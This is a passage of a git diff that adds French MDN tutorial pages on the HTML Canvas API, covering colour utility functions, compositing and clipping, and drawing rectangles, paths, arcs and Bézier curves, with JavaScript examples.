Notre programme repose sur un certain nombbre de fonctions utilitaires:

+ +
var lightMix = function() {
+    var ctx = canvas2.getContext("2d");
+    ctx.save();
+    ctx.globalCompositeOperation = "lighter";
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(255,0,0,1)";
+    ctx.arc(100, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,0,255,1)";
+    ctx.arc(220, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,255,0,1)";
+    ctx.arc(160, 100, 100, Math.PI*2, 0, false);
+    ctx.fill();
+    ctx.restore();
+    ctx.beginPath();
+    ctx.fillStyle = "#f00";
+    ctx.fillRect(0,0,30,30)
+    ctx.fill();
+};
+
+ +
var colorSphere = function(element) {
+    var ctx = canvas1.getContext("2d");
+    var width = 360;
+    var halfWidth = width / 2;
+    var rotate = (1 / 360) * Math.PI * 2; // per degree
+    var offset = 0; // scrollbar offset
+    var oleft = -20;
+    var otop = -20;
+    for (var n = 0; n <= 359; n ++) {
+        var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth);
+        var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 });
+        gradient.addColorStop(0, "rgba(0,0,0,0)");
+        gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)");
+        gradient.addColorStop(1, "rgba(255,255,255,1)");
+        ctx.beginPath();
+        ctx.moveTo(oleft + halfWidth, otop);
+        ctx.lineTo(oleft + halfWidth, otop + halfWidth);
+        ctx.lineTo(oleft + halfWidth + 6, otop);
+        ctx.fillStyle = gradient;
+        ctx.fill();
+        ctx.translate(oleft + halfWidth, otop + halfWidth);
+        ctx.rotate(rotate);
+        ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));
+    }
+    ctx.beginPath();
+    ctx.fillStyle = "#00f";
+    ctx.fillRect(15,15,30,30)
+    ctx.fill();
+    return ctx.canvas;
+};
+
+ +
// HSV (1978) = H: Hue / S: Saturation / V: Value
+Color = {};
+Color.HSV_RGB = function (o) {
+    var H = o.H / 360,
+        S = o.S / 100,
+        V = o.V / 100,
+        R, G, B;
+    var A, B, C, D;
+    if (S == 0) {
+        R = G = B = Math.round(V * 255);
+    } else {
+        if (H >= 1) H = 0;
+        H = 6 * H;
+        D = H - Math.floor(H);
+        A = Math.round(255 * V * (1 - S));
+        B = Math.round(255 * V * (1 - (S * D)));
+        C = Math.round(255 * V * (1 - (S * (1 - D))));
+        V = Math.round(255 * V);
+        switch (Math.floor(H)) {
+            case 0:
+                R = V;
+                G = C;
+                B = A;
+                break;
+            case 1:
+                R = B;
+                G = V;
+                B = A;
+                break;
+            case 2:
+                R = A;
+                G = V;
+                B = C;
+                break;
+            case 3:
+                R = A;
+                G = B;
+                B = V;
+                break;
+            case 4:
+                R = C;
+                G = A;
+                B = V;
+                break;
+            case 5:
+                R = V;
+                G = A;
+                B = B;
+                break;
+        }
+    }
+    return {
+        R: R,
+        G: G,
+        B: B
+    };
+};
+
+var createInterlace = function (size, color1, color2) {
+    var proto = document.createElement("canvas").getContext("2d");
+    proto.canvas.width = size * 2;
+    proto.canvas.height = size * 2;
+    proto.fillStyle = color1; // top-left
+    proto.fillRect(0, 0, size, size);
+    proto.fillStyle = color2; // top-right
+    proto.fillRect(size, 0, size, size);
+    proto.fillStyle = color2; // bottom-left
+    proto.fillRect(0, size, size, size);
+    proto.fillStyle = color1; // bottom-right
+    proto.fillRect(size, size, size, size);
+    var pattern = proto.createPattern(proto.canvas, "repeat");
+    pattern.data = proto.canvas.toDataURL();
+    return pattern;
+};
+
+var op_8x8 = createInterlace(8, "#FFF", "#eee");
diff --git a/files/fr/web/api/canvas_api/tutorial/compositing/index.html b/files/fr/web/api/canvas_api/tutorial/compositing/index.html new file mode 100644 index 0000000000..cc646762dd --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/compositing/index.html @@ -0,0 +1,110 @@ +--- +title: Composition et découpe +slug: Web/API/Canvas_API/Tutoriel_canvas/Composition +tags: + - Canvas + - Composition + - dessin +translation_of: Web/API/Canvas_API/Tutorial/Compositing +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}
+ +
+

Dans tous nos exemples précédents, les formes étaient toutes dessinées les unes au dessus des autres. C'est plus que suffisant pour la plupart des situations, mais cela limite l'ordre dans lequel les formes composées sont construites. Nous pouvons cependant changer ce comportement en définissant la propriété globalCompositeOperation. En complément, la propriété clip nous permet de cacher les parties des formes que nous ne désirons pas.

+
+ +

globalCompositeOperation

+ +

Nous pouvons non seulement dessiner de nouvelles formes derrière des formes existantes mais nous pouvons aussi les utiliser pour masquer certaines zones, supprimer des sections du canvas (ce n'est pas limité aux rectangles comme pour la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}) et davantage.

+ +
+
{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}
+
Cela configure le type d'opération de composition à appliquer lorsqu'on dessine de nouvelles formes, où le type correspond à une string qui fait référence à une des douze opérations de composition possibles.
+
+ +

Reportez-vous aux exemples de compositon pour le code des exemples suivants.

+ +

{{EmbedLiveSample("Exemple_de_composition", 750, 6750, "" ,"/Tutoriel_canvas/Composition/Example")}}

+ +

Détourage

+ +

Un détourage (clipping path en anglais) est comme une forme de canvas standard, à la différence près qu'elle sert à masquer certaines parties du canvas. Voyez l'image de droite, la forme rouge (en étoile) est un détourage du canvas. Tout ce qui est en dehors du chemin n'est pas dessiné sur le canvas.

+ +

Si nous comparons le détourage à la propriété globalCompositeOperation vue précédemment, nous voyons deux modes de composition qui ont plus ou moins les mémes effets qu'avec source-in et source-atop. La différence la plus significative entre les deux est que le détourage n'est jamais dessiné sur le canvas à proprement parler et il n'est jamais affecté par l'ajout de nouvelles formes. Ça le rend idéal pour dessiner plusieurs formes dans une zone restreinte.

+ +

Dans le chapitre "dessiner des formes avec le canevas", nous n'avions mentionné que les méthodes stroke() et fill(), mais il y en a une troisième: clip() — elle permet de faire des détourages.

+ +
+
{{domxref("CanvasRenderingContext2D.clip", "clip()")}}
+
Transforme le chemin en cours de création en détourage effectif.
+
+ +

Il faut utiliser clip() plutot que closePath() pour fermer un chemin et enfaire un détourage.

+ +

Par défault, l'élément {{HTMLElement("canvas")}} possède un détourage aux mêmes dimensions que le canvas lui-même. Donc, par défaut aucune découpe n'est apparente.

+ +

Un exemple de clip

+ +

Dans cet exemple, nous allons utiliser un détourage circulaire pour restreindre le dessin d'un essemble d'étoiles aléatoires à une zone particulière (et circulaire...).

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.translate(75, 75);
+
+  // Create a circular clipping path
+  ctx.beginPath();
+  ctx.arc(0, 0, 60, 0, Math.PI * 2, true);
+  ctx.clip();
+
+  // draw background
+  var lingrad = ctx.createLinearGradient(0, -75, 0, 75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75, -75, 150, 150);
+
+  // draw stars
+  for (var j = 1; j < 50; j++) {
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75 - Math.floor(Math.random() * 150),
+                  75 - Math.floor(Math.random() * 150));
+    drawStar(ctx, Math.floor(Math.random() * 4) + 2);
+    ctx.restore();
+  }
+
+}
+
+function drawStar(ctx, r) {
+  ctx.save();
+  ctx.beginPath();
+  ctx.moveTo(r, 0);
+  for (var i = 0; i < 9; i++) {
+    ctx.rotate(Math.PI / 5);
+    if (i % 2 === 0) {
+      ctx.lineTo((r / 0.525731) * 0.200811, 0);
+    } else {
+      ctx.lineTo(r, 0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+
+ + + +

Dans les premières lignes de code, nous dessinons un rectangle noir ayant la même taille que le canvas comme toile de fond puis nous déplaçons l'origine au centre de l'image. Ensuite, nous créons le détourage circulaire en dessinant un arc (complet) et en faisant appelle à clip(). Les détourages font aussi partie de l'état de sauvegarde des canvas. Si on voulait garder le détourage d'origine, on pourrait par exemple sauvegarder l'état du canvas au préalable.

+ +

Tout ce qui sera dessiné après la création du détourage n'apparaîtra qu'à l'intérieur de ce chemin. Vous pouvez voir ça clairement avec le dégradé linéaire qui est dessiné après. Ensuite, un ensemble de 50 étoiles aléatoires est dessiné, en utilisant la fonction drawStar(). Nous pouvons voir, une fois de plus, que les éléments (ici les étoiles) n'apparaissent qu'à l'intérieur du détourage.

+ +

{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Transformations", "Web/API/Canvas_API/Tutorial/Basic_animations")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.html new file mode 100644 index 0000000000..233d1baeb2 --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -0,0 +1,581 @@ +--- +title: Dessiner des formes avec le canevas +slug: Web/API/Canvas_API/Tutoriel_canvas/Formes_géométriques +tags: + - Canvas + - Graphisme + - Guide + - HTML + - HTML5 + - Intermédiaire + - Tutoriel +translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes +--- +

{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Utilisation_de_base", "Tutoriel_canvas/Ajout_de_styles_et_de_couleurs")}}

+ +

Maintenant que nous avons défini notre environnement de canevas, nous pouvons entrer dans les détails de la façon de dessiner sur le canevas. A la fin de cet article, vous aurez appris à tracer des rectangles, des triangles, des lignes, des arcs et des courbes, vous rendant ainsi familier avec certaines des formes de base. Le travail avec les trajets est essentiel lors du dessin d'objets sur le canevas, et nous verrons comment cela peut être fait.

+ +

La grille

+ +

Avant de pouvoir commencer à dessiner, il nous faut parler de la grille ou système de coordonnées. Notre schéma HTML de la page précédente avait un élément canevas large de 150 pixels et haut de 150 pixels. À droite, vous voyez ce canevas avec la grille par défaut superposée. Normalement, 1 unité dans la grille correspond à 1 pixel sur le canevas. L'origine de cette grille est positionnée dans le coin supérieur gauche de coordonnées (0, 0). Tous les éléments sont placés relativement à cette origine. Ainsi, le coin supérieur gauche du carré bleu est à x pixels à partir de la gauche et à y pixels à partir du haut, aux coordonnées (x, y). Plus loin dans ce tutoriel, nous verrons comment déplacer l'origine à une position différente, faire pivoter la grille ou même la mettre à l'échelle ; mais pour l'instant, nous nous en tiendrons aux valeurs par défaut.

+ +

Dessin de rectangles

+ +

Au contraire de SVG, le {{HTMLElement("canvas")}} ne supporte qu'une seule forme primitive : le rectangle. Toute autre forme doit être créée en combinant un ou plusieurs trajets, c'est-à-dire des listes de points reliés par des lignes. Heureusement, nous avons un assortiment de fonctions de dessin de trajets, qui rendent possible la composition de formes très complexes.

+ +
+

Commençons par le rectangle. Il y a trois fonctions qui dessinent des rectangles sur le canvas :

+ +
+
{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, largeur, hauteur)")}}
+
Dessine un rectangle rempli.
+
{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, largeur, hauteur)")}}
+
Dessine un contour rectangulaire
+
{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, largeur, hauteur)")}}
+
Efface la zone rectangulaire spécifiée, la rendant complètement transparente.
+
+ +

Chacune de ces trois fonctions a les mêmes paramètres. x et y indiquent la position sur le canevas (par rapport à l'origine) du coin supérieur gauche du rectangle sur le canvas. largeur et hauteur indiquent la taille du rectangle.

+ +

Ci-dessous la fonction draw() de la page précédente, mais utilisant maintenant ces trois fonctions.

+ +

Exemple de forme rectangulaire

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25, 25, 100, 100);
+    ctx.clearRect(45, 45, 60, 60);
+    ctx.strokeRect(50, 50, 50, 50);
+  }
+}
+ +

Le résultat de cet exemple est montré ci-dessous.

+ +

{{EmbedLiveSample("Exemple_de_forme_rectangulaire", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}

+ +

La fonction fillRect() dessine un grand carré noir de 100 pixels de côté. La fonction clearRect() efface ensuite un carré de 60x60 pixels, et finalement, la fonction strokeRect() est appelée pour créer un contour rectangulaire de 50x50 pixels dans l'espace effacé.

+ +

Dans les pages qui suivent, nous verrons deux méthodes alternatives pour clearRect(), et nous verrons aussi comment changer la couleur et le style de trait des formes rendues.

+ +

A la différence des fonctions de trajet que nous allons voir dans la prochaine section, les trois fonctions de rectangles dessinent immédiatement sur le canvas.

+ +

Dessin de trajets

+ +

Les seules autres formes primitives sont les trajets. Un trajet est une liste de points, reliés par des segments de lignes qui peuvent être de différentes formes, incurvées ou non, de largeur différente et de couleur différente. Un trajet, ou même un sous-trajet, peut être fermé. La réalisation de formes utilisant des trajets requiert quelques étapes supplémentaires :

+ +
    +
  1. Tout d'abord, vous devez créer le trajet.
    2. +
  2. Ensuite vous devez utiliser des instructions de dessin pour dessiner sur le trajet.
    3. +
  3. Finalement, vous devez fermer le trajet.
    4. +
  4. Une fois que le trajet a été créé, vous devez le tracer ou le remplir pour le faire apparaître.
    5. +
+ +

Voici les functions utilisées pour réaliser ces étapes :

+ +
+
{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}
+
Crée un nouveau trajet. Une fois créé, les fonctions de dessin ultérieures seront dirigées vers le trajet et utilisées pour le construire.
+
Méthodes de trajet
+
Méthodes pour définir différents trajets pour les objets.
+
{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}
+
Ferme le trajet pour que les fonctions de dessin ultérieures soient à nouveau dirigées vers le contexte.
+
{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}
+
Dessine la forme en traçant son contour.
+
{{domxref("CanvasRenderingContext2D.fill", "fill()")}}
+
Dessine une forme pleine en remplissant la zone de contenu du trajet.
+
+ +

La première étape pour créer un trajet est d'appeler beginPath(). En interne, les trajets sont stockés comme une liste de sous-trajets (lignes, arcs, etc) qui ensemble réalisent une forme. Chaque fois que cette méthode est appelée, la liste est remise à zéro, et nous pouvons commencer à dessiner de nouvelles formes.

+ +
Note : lorsque le trajet en cours est vide, par exemple immédiatement après avoir appelé beginPath(), ou sur un canvas nouvellement créé, la première instruction de construction de trajet est toujours traitée comme un moveTo(), indépendamment de ce qu'elle est en réalité. Pour cette raison, il sera pratiquement toujours souhaitable d'indiquer la position de départ après la réinitialisation d'un trajet.
+ +

La deuxième étape est d'appeler les méthodes qui indiquent effectivement les sous-trajets à dessiner. Nous verrons ces méthodes bientôt.

+ +

La troisième méthode, optionnelle, est l'appel à closePath(). Cette méthode essaye de fermer la forme géométrique en dessinant une ligne droite depuis le point courant jusqu'au début du trajet. Si la forme a déjà été fermée ou s'il n'y a qu'un seul point dans la liste, cette fonction ne fait rien.

+ +
Note : quand vous appelez fill(), toutes les formes ouvertes sont automatiquement fermées, ainsi vous n'avez pas à appeler closePath(). Ce n'est pas le cas quand vous appelez stroke().
+ +

Dessin d'un triangle

+ +

Par exemple, le code pour dessiner un triangle peut ressembler à ce qui suit :

+ + + +
function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75, 50);
+    ctx.lineTo(100, 75);
+    ctx.lineTo(100, 25);
+    ctx.fill();
+  }
+}
+
+ +

Le résultat ressemble à :

+ +

{{EmbedLiveSample("Dessin_d'un_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}

+ +

Déplacement du stylo

+ +

Une fonction très utile, qui ne dessine rien mais qui fait tout de même partie de la liste de trajets décrite plus haut, est la fonction moveTo(). La meilleure façon de l'imaginer est le fait de lever un stylo ou un crayon depuis une position sur un papier, et de le placer sur une autre.

+ +
+
{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}
+
Déplace le stylo aux coordonnées x et y.
+
+ +

Lorsque le canevas est initialisé ou que beginPath() est appelé, vous souhaiterez typiquement utiliser moveTo() pour positionner le point de départ quelque part ailleurs. On pourrait aussi utiliser moveTo() pour dessiner des trajets non reliés. Jetez un coup d'œil à l'émoticon ci-dessous.

+ +

Pour essayer par vous-même, vous pouvez utiliser le fragment de code ci-dessous. Collez-le simplement dans la fonction draw() que nous avons vue plus tôt.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75, 75, 50, 0, Math.PI * 2, true);  // Cercle extérieur
+    ctx.moveTo(110,75);
+    ctx.arc(75, 75, 35, 0, Math.PI, false);  // Bouche (sens horaire)
+    ctx.moveTo(65, 65);
+    ctx.arc(60, 65, 5, 0, Math.PI * 2, true);  // Oeil gauche
+    ctx.moveTo(95, 65);
+    ctx.arc(90, 65, 5, 0, Math.PI * 2, true);  // Oeil droite
+    ctx.stroke();
+  }
+}
+
+ +

Le résultat ressemble à ce qui suit :

+ +

{{EmbedLiveSample("Déplacement_du_stylo", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}

+ +

Si vous voulez voir les lignes d'interconnexion, vous pouvez enlever les lignes qui appellent moveTo().

+ +
+

Note : pour en savoir plus sur la fonction arc(), voir la section {{anch("Arcs")}} ci-dessous.

+
+ +

Les lignes

+ +

Pour dessiner des lignes droites, utilisez la méthode lineTo().

+ +
+
{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
+
Dessine une ligne depuis la position de dessin courante jusqu'à la position spécifiée par x et y.
+
+ +

Cette méthode prend deux arguments, x et y, qui sont les coordonnées du point final de la ligne. Le point de départ dépend des trajets précédemment tracés, où le point final du trajet précédent est le point de départ du suivant, etc. Le point de départ peut aussi être changé en utilisant la méthode moveTo().

+ +

L'exemple ci-dessous dessine deux triangles, un rempli et un filaire.

+ + + +
function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    // Triangle plein
+    ctx.beginPath();
+    ctx.moveTo(25, 25);
+    ctx.lineTo(105, 25);
+    ctx.lineTo(25, 105);
+    ctx.fill();
+
+    // Triangle filaire
+    ctx.beginPath();
+    ctx.moveTo(125, 125);
+    ctx.lineTo(125, 45);
+    ctx.lineTo(45, 125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+
+ +

Il commence par appeler beginPath() pour démarrer un nouveau trajet de forme. Nous utilisons ensuite la méthode moveTo() pour déplacer le point de départ à la position désirée. En dessous, deux lignes sont dessinées, qui constituent deux côtés du triangle.

+ +

{{EmbedLiveSample("Les_lignes", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}

+ +

Vous remarquerez la différence entre le triangle plein et le filaire. Cela, comme mentionné précédemment, vient du fait que les formes sont automatiquement fermées lorsqu'un trajet est rempli, mais pas lorsqu'elles sont dessinées au trait. Si nous avions omis le closePath() pour le triangle filaire, seules deux lignes auraient été tracées, et non pas un triangle complet.

+ +

Les arcs

+ +

Pour dessiner des arcs ou des cercles, on utilise les méthodes arc() ou arcTo().

+ +
+
{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, rayon, angleInitial, angleFinal, antihoraire)")}}
+
Dessine un arc de cercle qui est centré à la position (x, y), de rayon r, commençant à angleInitial et finissant à angleFinal en allant dans le sens indiqué par antihoraire (par défaut, horaire).
+
{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, rayon)")}}
+
Dessine un arc avec les points de contrôle et l'angle donnés, relié au point précédent par une ligne droite.
+
+ +

Regardons plus en détail la méthode arc, qui prend six paramètres : x et y sont les coordonnées du centre du cercle sur lequel l'arc doit être tracé. rayon se passe d'explication. Les paramètres angleInitial et angleFinal définissent en radians les points de départ et d'arrivée de l'arc, le long de la courbe du cercle. Ceux-ci sont mesurés à partir de l'axe des x. Le paramètre antihoraire est une valeur booléenne qui, lorsque true, dessine l'arc dans le sens antihoraire, sinon, l'arc est dessiné dans le sens horaire.

+ +
+

Note : les angles dans la fonction arc sont mesurés en radians, et non en degrés. Pour convertir des degrés en radians, vous pouvez utiliser l'expression JavaScript suivante : radians = (Math.PI/180)*degres.

+
+ +

L'exemple suivant est un peu plus complexe que ceux que nous avons vus plus haut. Il dessine 12 arcs différents, avec des angles et des remplissages différents.

+ +

Les deux boucles for bouclent sur les lignes et les colonnes des arcs. Pour chaque arc, on commence un nouveau trajet en appelant beginPath(). Dans le code, chacun des paramètres dans l'arc est une variable pour des raisons de clarté, mais en réalité, vous n'avez pas besoin de le faire.

+ +

Les coordonnées x et y devraient être claires. rayon et angleInitial sont fixés. L'angleFinal commence à 180 degrés (demi-cercle) dans la première colonne et il est augmenté par pas de 90 degrés, pour finir par un cercle complet dans la dernière colonne.

+ +

L'instruction pour le paramètre antihoraire a pour résultat que la première et de la troisième ligne sont dessinées comme des arcs de sens horaire, et que la deuxième et quatrième sont dessinées comme des arcs de sens antihoraire. Enfin, l'instruction if fait des arcs filaires dans la moité supérieure, et des arcs remplis dans la moitié inférieure.

+ +
+

Note : cet exemple requiert canevas légèrement plus large que les autres sur cette page : 150 x 200 pixels.

+
+ + + +
function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    for(var i = 0; i < 4; i++) {
+      for(var j = 0; j < 3; j++) {
+        ctx.beginPath();
+        var x = 25 + j * 50; // Coordonnée x
+        var y = 25 + i * 50; // Coordonnée y
+        var rayon = 20; // Rayon de l'arc
+        var angleInitial = 0; // Point de départ sur le cercle
+        var angleFinal = Math.PI + (Math.PI * j) / 2; // Point d'arrivée sur le cercle
+        var antihoraire = i % 2 != 0; // Horaire ou antihoraire
+
+        ctx.arc(x, y, rayon, angleInitial, angleFinal, antihoraire);
+
+        if (i>1) {
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+
+ +

{{EmbedLiveSample("Les_arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}

+ +

Les courbes quadratiques et de Bézier

+ +

Le type suivant de trajets disponible est la courbe de Bézier, disponible en deux variétés, cubique et quadratique. Elles sont généralement utilisées pour dessiner des formes naturelles complexes.

+ +
+
{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}
+
Dessine une courbe de Bézier quadratique depuis la position courante du stylo jusqu'au point final spécifié par x et y, en utilisant le point de contrôle spécifié par cp1x et cp1y.
+
{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}
+
Dessine une courbe de Bézier cubique depuis la position courante du stylo jusqu'au point spécifié par x et y, en utilisant les points de contrôle (cp1x, cp1y) et (cp2x, cp2y).
+
+ +

La différence entre ces deux méthodes est mieux décrite par l'image à droite. Une courbe quadratique de Bézier a un point de départ et un point d'arrivée (points bleus), et seulement un point de contrôle (indiqué par le point rouge), tandis qu'une courbe de Bézier cubique utilise deux points de contrôle.

+ +

Les paramètres x et y de ces deux méthodes sont les coordonnées du point d'arrivée. cp1x et cp1y sont les coordonnées du premier point de contrôle, et  cp2x et cp2y sont les coordonnées du second point de contrôle.

+ +

Utiliser des courbes quadratiques et cubiques de Bézier peut constituer un certain défi, car à la différence d'un logiciel de tracé des vecteurs comme Adobe Illustrator, nous n'avons pas de retour visuel direct concernant ce que nous faisons. Cela rend passablement difficile le dessin de formes complexes. Dans l'exemple suivant, nous allons dessiner quelques formes naturelles simples, mais si vous avez du temps et - surtout - de la patience, des formes bien plus complexes peuvent être créées.

+ +

Il n'y a rien de très difficile dans ces exemples. Dans les deux cas, on peut voir une succession de courbes être dessinées qui aboutissent finalement à une forme complète.

+ +

Courbes de Bézier quadratiques

+ +

Cet exemple utilise plusieurs courbes quadratiques de Bézier pour rendre une bulle de dialogue.

+ + + +
function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    // Exemples de courbes quadratiques
+    ctx.beginPath();
+    ctx.moveTo(75, 25);
+    ctx.quadraticCurveTo(25, 25, 25, 62.5);
+    ctx.quadraticCurveTo(25, 100, 50, 100);
+    ctx.quadraticCurveTo(50, 120, 30, 125);
+    ctx.quadraticCurveTo(60, 120, 65, 100);
+    ctx.quadraticCurveTo(125, 100, 125, 62.5);
+    ctx.quadraticCurveTo(125, 25, 75, 25);
+    ctx.stroke();
+  }
+}
+
+ +

{{EmbedLiveSample("Courbes_de_Bézier_quadratiques", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}

+ +

Les courbes de Bézier cubiques

+ +

Cet exemple dessine un cœur en utilisant les courbes de Bézier cubiques.

+ + + +
function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    // Exemple de courbes cubiques
+    ctx.beginPath();
+    ctx.moveTo(75, 40);
+    ctx.bezierCurveTo(75, 37, 70, 25, 50, 25);
+    ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
+    ctx.bezierCurveTo(20, 80, 40, 102, 75, 120);
+    ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5);
+    ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25);
+    ctx.bezierCurveTo(85, 25, 75, 37, 75, 40);
+    ctx.fill();
+  }
+}
+
+ +

{{EmbedLiveSample("Les_courbes_de_Bézier_cubiques", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}

+ +

Rectangles

+ +

En plus des trois méthodes que nous avons vues dans {{anch("Dessin de rectangles")}}, qui dessinent des formes rectangulaires directement sur le canevas, il y a la méthode rect(), qui ajoute un trajet rectangulaire à un trajet actuellement ouvert.

+ +
+
{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, largeur, hauteur)")}}
+
Dessine un rectangle dont l'angle supérieur gauche est spécifié par (x, y), avec les largeur et hauteur spécifiées.
+
+ +

Quand cette méthode est exécutée, la méthode moveTo() est automatiquement appelée avec les paramètres (0,0). En d'autres termes, la position en cours du stylo est automatiquement réinitialisée aux coordonnées par défaut.

+ +

Combiner les possibilités

+ +

Jusqu'à présent, chaque exemple de cette page a utilisé un seul type de fonction de trajet par forme. Cependant, il n'y a pas de limite au nombre ou aux types de trajets que vous pouvez utiliser pour créer une forme. Ainsi, dans ce dernier exemple, combinons toutes les fonctions de trajet pour faire un ensemble de personnages d'un jeu très célèbre.

+ + + +
function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    rectArrondi(ctx, 12, 12, 150, 150, 15);
+    rectArrondi(ctx, 19, 19, 150, 150, 9);
+    rectArrondi(ctx, 53, 53, 49, 33, 10);
+    rectArrondi(ctx, 53, 119, 49, 16, 6);
+    rectArrondi(ctx, 135, 53, 49, 33, 10);
+    rectArrondi(ctx, 135, 119, 25, 49, 10);
+
+    ctx.beginPath();
+    ctx.arc(37, 37, 13, Math.PI/7, -Math.PI/7, false);
+    ctx.lineTo(31, 37);
+    ctx.fill();
+
+    for(var i = 0; i< 8; i++) {
+      ctx.fillRect(51 + i * 16, 35, 4, 4);
+    }
+
+    for(i = 0; i < 6; i++) {
+      ctx.fillRect(115, 51 + i * 16, 4, 4);
+    }
+
+    for(i = 0; i < 8; i++) {
+      ctx.fillRect(51 + i * 16, 99, 4, 4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83, 116);
+    ctx.lineTo(83, 102);
+    ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
+    ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
+    ctx.lineTo(111, 116);
+    ctx.lineTo(106.333, 111.333);
+    ctx.lineTo(101.666, 116);
+    ctx.lineTo(97, 111.333);
+    ctx.lineTo(92.333, 116);
+    ctx.lineTo(87.666, 111.333);
+    ctx.lineTo(83, 116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91, 96);
+    ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
+    ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
+    ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
+    ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
+    ctx.moveTo(103, 96);
+    ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
+    ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
+    ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
+    ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+  }
+}
+
+// Une fonction utilitaire pour tracer des rectangles avec des coins arrondis
+
+function rectArrondi(ctx, x, y, largeur, hauteur, rayon) {
+  ctx.beginPath();
+  ctx.moveTo(x, y + rayon);
+  ctx.lineTo(x, y + hauteur - rayon);
+  ctx.quadraticCurveTo(x, y + hauteur, x + rayon, y + hauteur);
+  ctx.lineTo(x + largeur - rayon, y + hauteur);
